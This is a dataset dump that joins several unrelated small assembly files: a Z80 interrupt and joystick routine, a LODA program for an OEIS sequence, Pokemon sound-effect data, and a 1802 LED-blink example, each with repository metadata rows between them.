INC IX
DEC H
JR NZ,PRA_C3
POP IX
POP HL
POP DE
POP BC
EX AF,AF' ;AF' RESTORE
POP AF
EX AF,AF'
POP AF
RET
;Interrupt function, called every 1/50sec.
IM2: DI
PUSH AF
LD A,1
OUT (#FE),A
IN A,(KEMPSTON_PORT)
AND KEMPSTON_MASK
LD (KEMPSTON),A
LD A,(IM2_COUNTER)
INC A
LD (IM2_COUNTER),A
IM2_0: POP AF
EI
RETI
;Setup IM2 interrupt mode and function.
;DE address function to call AT 1/50s.
IM2_SETUP:
DI
PUSH AF
PUSH HL
LD H,IM2_I_REG ;HL - IM2 ADDR
LD L,IM2_B_DATA
LD A,H
LD I,A ;I - IM2
;LD DE,IM2 ;CLEAR!
LD (HL),E
INC HL
LD (HL),D ;[IM2] - ADDR
POP HL
POP AF
IM 2
EI
RET
;DATA AND OTHER INCLUDES.
LIBRARY: INCLUDE "STR_LIB.A",1
ALL_FONTS_DATA: INCLUDE "FONTS.A",0
| 23.274468
| 43
| 0.461605
|
5343cd12eb024b11e15da4e66dc0426375a42808
| 311
|
asm
|
Assembly
|
programs/oeis/209/A209978.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/209/A209978.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/209/A209978.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A209978: a(n) = A196227(n)/2.
; 0,0,1,4,7,14,17,28,35,46,53,72,79,102,113,128,143,174,185,220,235,258,277,320,335,374,397,432,455,510,525,584,615,654,685,732,755,826,861,908,939,1018,1041,1124,1163,1210,1253,1344,1375,1458,1497
mov $2,$0
seq $0,49696 ; a(n)=T(n,n), array T as in A049695.
sub $0,$2
trn $0,1
| 38.875
| 197
| 0.672026
|
cc1169eb736a78e32037489a8d5bea534ea59a8e
| 400
|
asm
|
Assembly
|
audio/sfx/battle_31.asm
|
etdv-thevoid/pokemon-rgb-enhanced
|
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
|
[
"MIT"
] | 1
|
2022-01-09T05:28:52.000Z
|
2022-01-09T05:28:52.000Z
|
audio/sfx/battle_31.asm
|
ETDV-TheVoid/pokemon-rgb-enhanced
|
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
|
[
"MIT"
] | null | null | null |
audio/sfx/battle_31.asm
|
ETDV-TheVoid/pokemon-rgb-enhanced
|
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
|
[
"MIT"
] | null | null | null |
SFX_Battle_31_Ch4:
duty 2
unknownsfx0x20 15, 255, 224, 7
unknownsfx0x20 15, 255, 224, 7
unknownsfx0x20 15, 255, 224, 7
unknownsfx0x20 15, 255, 224, 7
unknownsfx0x20 15, 242, 224, 7
endchannel
SFX_Battle_31_Ch5:
duty 3
unknownsfx0x20 15, 255, 226, 7
unknownsfx0x20 15, 255, 225, 7
unknownsfx0x20 15, 255, 226, 7
unknownsfx0x20 15, 255, 225, 7
unknownsfx0x20 15, 242, 226, 7
endchannel
| 21.052632
| 31
| 0.735
|
e7df990e690c60792ac0d3f27caedf1aadc2c971
| 227
|
asm
|
Assembly
|
Directory_Structure/Projects/Example_1802_Projects/QBlink.1802.asm
|
Jeff-Birt/TASM_vsCode_Extension
|
37589d66405a09ace0244432469a416606a39d55
|
[
"MIT"
] | 4
|
2021-03-07T21:49:16.000Z
|
2021-05-12T15:07:45.000Z
|
Directory_Structure/Projects/Example_1802_Projects/QBlink.1802.asm
|
Jeff-Birt/TASM_vsCode_Extension
|
37589d66405a09ace0244432469a416606a39d55
|
[
"MIT"
] | 1
|
2021-03-14T18:36:52.000Z
|
2021-03-23T15:15:38.000Z
|
Directory_Structure/Projects/Example_1802_Projects/QBlink.1802.asm
|
Jeff-Birt/TASM_vsCode_Extension
|
37589d66405a09ace0244432469a416606a39d55
|
[
"MIT"
] | 1
|
2021-04-15T16:49:06.000Z
|
2021-04-15T16:49:06.000Z
|
; Q blink --- Q off, load 0x0010 to R(1)
; virtual system RAM, 0x0000 to 0x0039 ->
.org $0000 ; Start of variable Ram
BEGIN:
REQ
LDI $10
PLO R1
LDI $00
PHI R1
DEC R1
GLO R1
BNZ $07
BQ $00
SEQ
BR $01
.end
| 11.947368
| 42
| 0.599119
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.